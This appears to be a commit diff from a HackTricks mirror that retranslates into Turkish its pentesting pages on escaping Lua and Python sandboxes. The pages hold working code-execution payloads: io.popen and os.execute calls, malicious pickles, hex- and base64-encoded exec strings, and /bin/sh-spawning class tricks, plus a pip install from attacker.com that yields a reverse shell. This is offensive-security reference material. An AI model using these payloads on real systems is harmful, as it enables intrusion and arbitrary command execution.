maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/windows-hardening/av-bypass.md', 'src/pentesting-web/we

Browse Source
This commit is contained in:
Translator 2025-09-03 11:40:29 +00:00
parent 876765fb91
commit 21ebc66862
9 changed files with 366 additions and 1870 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

54
src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md
View File

@ -1,18 +1,18 @@
# Bypass Lua sandboxes (embedded VMs, game clients)
# Lua sandbox'larını atlatma (gömülü VM'ler, game clients)
{{#include ../../../banners/hacktricks-training.md}}
Bu sayfa, uygulamalara gömülü Lua "sandboxes" içinde bulunan ortamları (özellikle game clients, plugins veya in-app scripting engines) keşfetmek ve bu sandbox'lardan çıkmak için pratik teknikleri toplar. Birçok engine kısıtlı bir Lua ortamı sunar, ancak güçlü globals'a erişim bırakarak, bytecode loaders açığa çıkarsa keyfi komut yürütme veya hatta native bellek bozulmasına yol açabilir.
Bu sayfa, uygulamalara gömülü Lua "sandbox"larını (özellikle game clients, plugins veya uygulama içi scripting motorları) listelemek ve kırmak için pratik teknikleri toplar. Birçok motor kısıtlı bir Lua ortamı açığa çıkarır, ancak güçlü global'leri erişilebilir bırakır; bunlar, bytecode yükleyicileri açığa çıktığında keyfi komut yürütmeye veya hatta native bellek bozulmasına izin verebilir.
Temel fikirler:
- VM'i bilinmeyen bir ortam olarak ele alın: _G'yi listeleyin ve hangi tehlikeli primitives'e erişilebildiğini keşfedin.
- stdout/print engellendiğinde, sonuçları gözlemlemek için herhangi bir in-VM UI/IPC kanalını çıktı hedefi olarak kötüye kullanın.
- io/os açığa çıkarsa, genellikle doğrudan komut yürütme elde edersiniz (io.popen, os.execute).
- load/loadstring/loadfile açığa çıkarsa, hazırlanmış Lua bytecode'unu yürütmek bazı sürümlerde bellek güvenliğini bozabilir (≤5.1 verifier'lar bypasslanabilir; 5.2 verifier'ı kaldırdı), bu da gelişmiş istismara olanak tanır.
Ana fikirler:
- VM'i bilinmeyen bir ortam olarak ele alın: _G'yi enumerate edin ve hangi tehlikeli primitive'lerin erişilebilir olduğunu keşfedin.
- stdout/print engellendiğinde, sonuçları görmek için herhangi bir in-VM UI/IPC kanalını çıktı havuzu olarak kötüye kullanın.
- io/os açığa çıktıysa, genellikle doğrudan komut yürütme imkânı vardır (io.popen, os.execute).
- load/loadstring/loadfile açığa çıktıysa, hazırlanmış Lua bytecode'u çalıştırmak bazı sürümlerde bellek güvenliğini altüst edebilir (≤5.1 doğrulayıcıları atlatılabilir; 5.2 doğrulayıcıyı kaldırdı), bu da ileri düzey exploit'e imkan verir.
## Sandbox'lanmış ortamı keşfetme
- Erişilebilir tablolar/fonksiyonları envanterlemek için global environment'i dökün:
- Erişilebilir tabloları/fonksiyonları envantere almak için global ortamı dök:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
end
end
```
- Eğer print() kullanılamıyorsa, VM içi kanalları yeniden amaçlayın. Örnek: chat çıktısının yalnızca bir ses çağrısından sonra çalıştığı bir MMO housing script VM'inden; aşağıdakiler güvenilir bir çıktı fonksiyonu oluşturur:
- Eğer print() yoksa, in-VM kanalları yeniden amaçlandırın. Bir MMO housing script VM örneğinde chat çıktısı yalnızca bir sound call'dan sonra çalışıyordu; aşağıdaki güvenilir bir çıktı fonksiyonu oluşturur:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
@ -39,11 +39,11 @@ local out = ButlerOut(1)
dump_globals(out)
end
```
Hedefiniz için bu deseni genelleştirin: strings kabul eden herhangi bir textbox, toast, logger veya UI callback'i reconnaissance için stdout olarak kullanabilirsiniz.
Bu deseni hedefiniz için genelleştirin: string kabul eden herhangi bir textbox, toast, logger veya UI callback keşif için stdout olarak davranabilir.
## io/os açık olduğunda doğrudan command execution
## io/os açığa çıkmışsa doğrudan komut yürütme
Eğer sandbox hâlâ standart kütüphaneler io veya os'u açığa çıkarıyorsa, muhtemelen immediate command execution'a sahipsiniz:
Eğer sandbox hâlâ standart kütüphaneler io veya os'u açığa çıkarıyorsa, muhtemelen anında komut yürütme imkanınız vardır:
```lua
-- Windows example
io.popen("calc.exe")
@ -53,29 +53,29 @@ os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
Notlar:
- Yürütme client process içinde gerçekleşir; harici debugger'ları engelleyen birçok anti-cheat/antidebug katmanı, in-VM process creation'ı engellemez.
- Ayrıca kontrol et: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
- Execution client process içinde gerçekleşir; dış debugger'ları engelleyen birçok anti-cheat/antidebug katmanı, in-VM process creation'ı engellemeyecektir.
- Ayrıca kontrol et: package.loadlib (herhangi bir DLL/.so yükleme), require with native modules, LuaJIT's ffi (varsa), ve debug library (VM içinde ayrıcalıkları yükseltebilir).
## Zero-click triggers via auto-run callbacks
## Zero-click tetiklemeleri (auto-run callbacks aracılığıyla)
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
Eğer host application scriptleri clients'a gönderiyorsa ve VM auto-run hooks (ör. OnInit/OnLoad/OnEnter) sağlıyorsa, script yüklenir yüklenmez drive-by compromise için payload'unuzu oraya yerleştirin:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
Scriptler istemciye otomatik olarak iletilip çalıştırıldığında, herhangi bir eşdeğer callback (OnLoad, OnEnter, vb.) bu tekniği genelleştirir.
Herhangi bir eşdeğer callback (OnLoad, OnEnter, vb.) scriptler otomatik olarak client üzerinde iletilip çalıştırıldığında bu tekniği genelleştirir.
## Recon sırasında aranacak tehlikeli primitive'ler
## Recon sırasında aranacak tehlikeli primitifler
_G enumeration sırasında özellikle şunlara bakın:
- io, os: io.popen, os.execute, dosya I/O, ortam değişkenlerine erişim.
- load, loadstring, loadfile, dofile: kaynak veya bytecode'u çalıştırır; güvenilmeyen bytecode yüklemeyi destekler.
- package, package.loadlib, require: dinamik kütüphane yükleme ve modül arayüzü.
- io, os: io.popen, os.execute, file I/O, env access.
- load, loadstring, loadfile, dofile: kaynak veya bytecode çalıştırır; güvenilmeyen bytecode yüklemeyi destekler.
- package, package.loadlib, require: dinamik kütüphane yükleme ve modül yüzeyi.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo ve hooks.
- LuaJIT-only: ffi.cdef, ffi.load yerel kodu doğrudan çağırmak için.
- LuaJIT-only: ffi.cdef, ffi.load ile doğrudan native code çağırma.
Minimal kullanım örnekleri (ulaşılabilirse):
Erişilebiliyorsa minimal kullanım örnekleri:
```lua
-- Execute source/bytecode
local f = load("return 1+1")
@ -99,11 +99,11 @@ When load/loadstring/loadfile are reachable but io/os are restricted, execution
This path is engine/version-specific and requires RE. See references for deep dives, exploitation primitives, and example gadgetry in games.
## Detection and hardening notes (for defenders)
## Tespit ve sertleştirme notları (savunucular için)
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
- Sunucu tarafı: kullanıcı scriptlerini reddet veya yeniden yaz; güvenli API'leri allowlistle; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi öğelerini strip et veya bind-empty yap.
- İstemci tarafı: Lua'yı minimal bir _ENV ile çalıştır, bytecode yüklemeyi yasakla, katı bir bytecode verifier veya imza kontrolleri yeniden getir, ve istemci süreçten process oluşturmayı engelle.
- Telemetry: script yüklemesini takip eden kısa sürede gameclient → child process oluşturulmasında alarm üret; UI/chat/script olaylarıyla korelasyon yap.
## References

188
src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
View File

@ -1,13 +1,13 @@
# Python sandbox'larını atlatma
# Bypass Python sandboxes
{{#include ../../../banners/hacktricks-training.md}}
Bunlar python sandbox korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı hilelerdir.
Bunlar python sandbox korumalarını bypass etmek ve keyfi komutlar çalıştırmak için bazı yöntemlerdir.
## Komut Çalıştırma Kütüphaneleri
Bilmeniz gereken ilk şey, halihazırda import edilmiş bir kütüphane ile doğrudan kod çalıştırıp çalıştıramayacağınızdır, ya da bu kütüphanelerden herhangi birini import edip edemeyeceğinizdir:
Bilmeniz gereken ilk şey, halihazırda import edilmiş bir kütüphane ile doğrudan kod çalıştırıp çalıştıramayacağınız veya bu kütüphanelerden herhangi birini import edip edemeyeceğinizdir:
```python
os.system("ls")
os.popen("ls").read()
@ -40,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Unutmayın ki _**open**_ ve _**read**_ fonksiyonları python sandbox içinde **dosyaları okumak** ve sandbox'ı **bypass** etmek için **çalıştırabileceğiniz** bir kod **yazmak** açısından faydalı olabilir.
Unutmayın ki _**open**_ ve _**read**_ fonksiyonları python sandbox içinde **dosyaları okumak** ve çalıştırıp sandbox'ı **bypass** edebileceğiniz kodu **yazmak** için faydalı olabilir.
> [!CAUTION] > **Python2 input()** fonksiyonu program çökmeden önce python kodu çalıştırmaya izin verir.
Python varsayılan olarak **önce mevcut dizinden kütüphaneleri yüklemeye çalışır** (aşağıdaki komut python'un modülleri nereden yüklediğini yazdırır): `python3 -c 'import sys; print(sys.path)'`
Python varsayılan olarak **kütüphaneleri önce mevcut dizinden yüklemeye çalışır** (aşağıdaki komut python'un modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Varsayılan kurulu python paketleri ile pickle sandbox'ı bypass etme
## Varsayılan yüklü python paketleri ile pickle sandbox'ı Bypass etmek
### Varsayılan paketler
Burada **önceden kurulu** paketlerin bir listesini bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Not: bir pickle ile python env'in sistemde yüklü **rastgele kütüphaneleri import etmesini** sağlayabilirsiniz.\
Örneğin, aşağıdaki pickle yüklendiğinde pip kütüphanesini kullanmak için import edecek:
Önceden yüklü paketlerin **bir listesini** burada bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Bir pickle sayesinde python env'in sistemde yüklü olan **herhangi kütüphaneleri import etmesini** sağlayabileceğinizi unutmayın.\
Örneğin, aşağıdaki pickle yüklendiğinde pip kütüphanesini import edip kullanacaktır:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -67,13 +67,13 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
For more information about how pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
pickle'in nasıl çalıştığı hakkında daha fazla bilgi için şuna bakın: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip package
### Pip paketi
Trick **@isHaacK** tarafından paylaşıldı
Hile **@isHaacK** tarafından paylaşıldı
Eğer `pip` veya `pip.main()` erişiminiz varsa, rastgele bir paket yükleyip aşağıdaki çağrıyı yaparak reverse shell elde edebilirsiniz:
Eğer `pip` veya `pip.main()` erişiminiz varsa, rastgele bir paket yükleyebilir ve çağırarak bir reverse shell elde edebilirsiniz:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
@ -85,12 +85,12 @@ Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **sunucudan ayrıldığınızda ekstra herhangi bir python paketi bırakmayacaksınız**.
## Eval-ing python code
> [!WARNING]
> Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)
> exec'in multiline strings ve ";" karakterine izin verdiğini, ancak eval'in vermediğini unutmayın (walrus operator'ü kontrol edin)
If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction:
```python
@ -113,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Eval python kodunu çalıştırmaya izin veren diğer kütüphaneler
### python kodunu eval etmeye izin veren diğer kütüphaneler
```python
#Pandas
import pandas as pd
@ -127,15 +127,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
Ayrıca PDF üreticilerinde gerçek dünyadan bir sandboxed evaluator escape örneğine bakın:
Ayrıca PDF üreticilerinde gerçek dünyada gerçekleşmiş bir sandboxed evaluator kaçışına bakın:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). rl_safe_eval'i, değerlendirilen özniteliklerden (örneğin, font rengi) function.__globals__ ve os.system'e erişmek için kötüye kullanır ve render işleminin kararlı kalmasını sağlamak için geçerli bir değer döndürür.
- ReportLab/xhtml2pdf triple-bracket [[[...]]] ifade değerlendirmesi → RCE (CVE-2023-33733). Bu, rl_safe_eval'i kötüye kullanarak değerlendirilen özniteliklerden (örneğin, font color) function.__globals__ ve os.system'e ulaşır ve render'ın stabil kalması için geçerli bir değer döndürür.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## Operatörler ve kısa püf noktaları
## Operatörler ve kısa ipuçları
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -144,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Kodlamalar aracılığıyla korumaların atlatılması (UTF-7)
## Kodlamalar aracılığıyla korumaların aşılması (UTF-7)
Bu [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, görünüşte bir sandbox içinde keyfi python kodunu yüklemek ve çalıştırmak için kullanılıyor:
Bu [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) içinde UFT-7, görünürdeki bir sandbox içinde rastgele python kodunu yüklemek ve çalıştırmak için kullanılıyor:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -157,13 +157,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Ayrıca, diğer kodlamalar kullanılarak da bunu atlatmak mümkündür, örn. `raw_unicode_escape` ve `unicode_escape`.
Ayrıca bunu diğer kodlamaları kullanarak atlatmak da mümkündür, örn. `raw_unicode_escape` ve `unicode_escape`.
## Python'da çağrı yapılmadan yürütme
## Çağrı yapmadan Python yürütme
Eğer çağrı yapmanıza izin vermeyen bir python jail içindeyseniz, yine de **rastgele fonksiyonları, kodu** ve **komutları** çalıştırmanın bazı yolları var.
Eğer bir python jail içindeyseniz ve **çağrı yapmanıza izin verilmiyorsa**, yine de **istediğiniz fonksiyonları, kodu** ve **komutları** çalıştırmanın bazı yolları vardır.
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
### RCE ile [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -185,13 +185,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE creating objects and overloading
### RCE nesne oluşturma ve aşırı yükleme
Eğer **declare a class** yapıp o sınıftan **create an object** oluşturabiliyorsanız, doğrudan çağırmaya gerek kalmadan **write/overwrite different methods** yazarak bunların **triggered** olmasını sağlayabilirsiniz.
Eğer bir **sınıf tanımlayabiliyor** ve o sınıftan bir **nesne oluşturabiliyorsanız**, **farklı metotlar yazabilir/üzerine yazabilirsiniz** ve bu metotlar **tetiklenebilir** **çağırmanız gerekmeden** **doğrudan onları çağırmanıza ihtiyaç olmadan**.
#### RCE with custom classes
#### Özel sınıflarla RCE
Bazı **class methods**'ları (_by overwriting existing class methods or creating a new class_) değiştirerek, doğrudan çağırmadan **execute arbitrary code** yapmalarını sağlayabilirsiniz.
Bazı **sınıf metotlarını** (_mevcut sınıf metotlarını üzerine yazarak veya yeni bir sınıf oluşturarak_) değiştirip, bunların **keyfi kod çalıştırmasını** **tetiklendiğinde** **doğrudan çağırılmadan** sağlayabilirsiniz.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -243,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) ile nesneler oluşturma
metaclasses'in bize izin verdiği temel şey, hedef sınıfı metaclass olarak kullanarak yeni bir sınıf oluşturup, **bir sınıfın örneğini constructor'ını doğrudan çağırmadan oluşturabilmektir.**
metaclasses ile yapabildiğimiz en önemli şey, hedef sınıfı metaclass olarak kullanan yeni bir sınıf oluşturarak, **constructor'ı doğrudan çağırmadan bir sınıfın örneğini oluşturmak**.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -260,7 +260,7 @@ Sub['import os; os.system("sh")']
```
#### exceptions ile nesne oluşturma
Bir **exception tetiklendiğinde**, **Exception** sınıfından bir nesne **oluşturulur**; constructor'ı doğrudan çağırmanıza gerek kalmaz (bir hile [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Bir **exception tetiklendiğinde** bir **Exception** nesnesi constructor'ı doğrudan çağırmanıza gerek kalmadan **oluşturulur** ([**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)'den bir hile):
```python
class RCE(Exception):
def __init__(self):
@ -302,7 +302,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### builtins help & license içeren dosyayı oku
### builtins help & license ile dosyayı oku
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -316,17 +316,17 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Eğer **`__builtins__`** nesnesine erişebiliyorsanız kütüphaneleri import edebilirsiniz (burada ayrıca son bölümde gösterilen diğer string gösterimlerini de kullanabileceğinizi unutmayın):
Eğer **`__builtins__`** nesnesine erişebiliyorsanız kütüphaneleri import edebilirsiniz (son bölümde gösterilen diğer string gösterimlerini de burada kullanabileceğinizi unutmayın):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### Builtins Yok
### Yerleşik Fonksiyonlar Yok
`__builtins__` yoksa herhangi bir şeyi import edemez ve hatta dosya okuyup yazamazsınız çünkü **tüm global fonksiyonlar** (ör. `open`, `import`, `print`...) **yüklenmez**.\
Ancak, **varsayılan olarak python birçok modülü belleğe import eder**. Bu modüller zararsız görünebilir, ama bazıları içinde **aynı zamanda tehlikeli** fonksiyonellikleri import eder ve bunlara erişilerek hatta **arbitrary code execution** elde edilebilir.
`__builtins__` yoksa hiçbir şeyi `import` edemeyecek ve dosya okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (ör. `open`, `import`, `print`...) **yüklenmez**.\
Ancak, **varsayılan olarak python belleğe birçok modül `import` eder**. Bu modüller zararsız görünebilir, fakat bazıları içinde erişilerek hatta **arbitrary code execution** elde etmek için kullanılabilecek **tehlikeli** **fonksiyonlar** de barındırır.
Aşağıdaki örneklerde yüklü bu "**benign**" modüllerden bazılarının nasıl **abuse** edilip içlerindeki **dangerous** **functionalities**'e **access** sağlanabileceğini görebilirsiniz.
Aşağıdaki örneklerde, yüklenmiş bu "**zararsız**" modüllerden bazılarının içindeki **tehlikeli** **fonksiyonlara** nasıl **erişip** ve bunları nasıl **kötüye kullanabileceğinizi** görebilirsiniz.
**Python2**
```python
@ -368,9 +368,9 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) builtins'in bulunduğu onlarca/**yüzlerce** **yer**i bulmak için.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) builtins'i bulabileceğiniz onlarca/**yüzlerce** **yer**i bulmak için.
#### Python2 ve Python3
#### Python2 and Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
@ -386,7 +386,7 @@ __builtins__["__import__"]("os").system("ls")
```
## Globals ve locals
**`globals`** ve **`locals`**'ı kontrol etmek, neye erişebileceğinizi öğrenmenin iyi bir yoludur.
Erişebileceklerinizi öğrenmek için **`globals`** ve **`locals`**'ı kontrol etmek iyi bir yoldur.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -410,15 +410,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Aşağıda daha büyük bir fonksiyon var**](#recursive-search-of-builtins-globals) **globals**'ın bulunabileceği onlarca/**yüzlerce** **yer** bulmak için.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) onlarca/**yüzlerce** **yer**, **globals**'ı bulabileceğiniz.
## Arbitrary Execution Keşfi
## Discover Arbitrary Execution
Burada, **daha tehlikeli yüklenmiş işlevsellikleri** kolayca nasıl keşfedeceğimi ve daha güvenilir exploits önereceğimi açıklamak istiyorum.
Burada kolayca **daha tehlikeli fonksiyonların yüklü olduğunu** nasıl keşfedeceğimi ve daha güvenilir exploits önermeyi açıklamak istiyorum.
#### Bypasses ile subclasses'a erişim
#### Accessing subclasses with bypasses
Bu tekniğin en hassas noktalarından biri **base subclasses**'a erişebilme yeteneğidir. Önceki örneklerde bu `''.__class__.__base__.__subclasses__()` kullanılarak yapıldı, ancak **diğer olası yollar** da vardır:
Bu tekniğin en hassas noktalarından biri, **access the base subclasses**'e erişebilme yeteneğidir. Önceki örneklerde bu `''.__class__.__base__.__subclasses__()` kullanılarak yapıldı, ancak **diğer olası yollar** vardır:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -448,16 +448,16 @@ defined_func.__class__.__base__.__subclasses__()
```
### Yüklü tehlikeli kütüphaneleri bulma
Örneğin, **`sys`** kütüphanesiyle **herhangi bir kütüphaneyi import etmenin mümkün olduğunu** bilerek, içinde **`sys` importu bulunan tüm yüklü modülleri** arayabilirsiniz:
Örneğin, **`sys`** kütüphanesiyle **herhangi bir kütüphaneyi import etmek** mümkün olduğunu bilerek, tüm **içinde sys import edilmiş olan yüklü modülleri** arayabilirsiniz:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Çok fazla var, ve **komutları çalıştırmak için sadece bir tanesine** ihtiyacımız var:
Çok fazla var, ve **komut çalıştırmak için sadece birine** ihtiyacımız var:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
**Komut çalıştırmak** için kullanılabileceğini bildiğimiz **diğer kütüphaneler** ile de aynı şeyi yapabiliriz:
Aynı şeyi **diğer kütüphaneler** ile de yapabiliriz; bunların **komut çalıştırmak için** kullanılabildiğini biliyoruz:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -511,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Ayrıca, eğer **other libraries**'in **invoke functions to execute commands** yapabileceğini düşünüyorsanız, olası libraries içinde **filter by functions names** ile de filtreleyebiliriz:
Ayrıca, eğer **diğer kütüphanelerin** **komut çalıştırmak için fonksiyonları çağırabilme** ihtimali olduğunu düşünüyorsanız, olası kütüphaneler içinde **fonksiyon isimlerine göre filtreleyebiliriz**:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
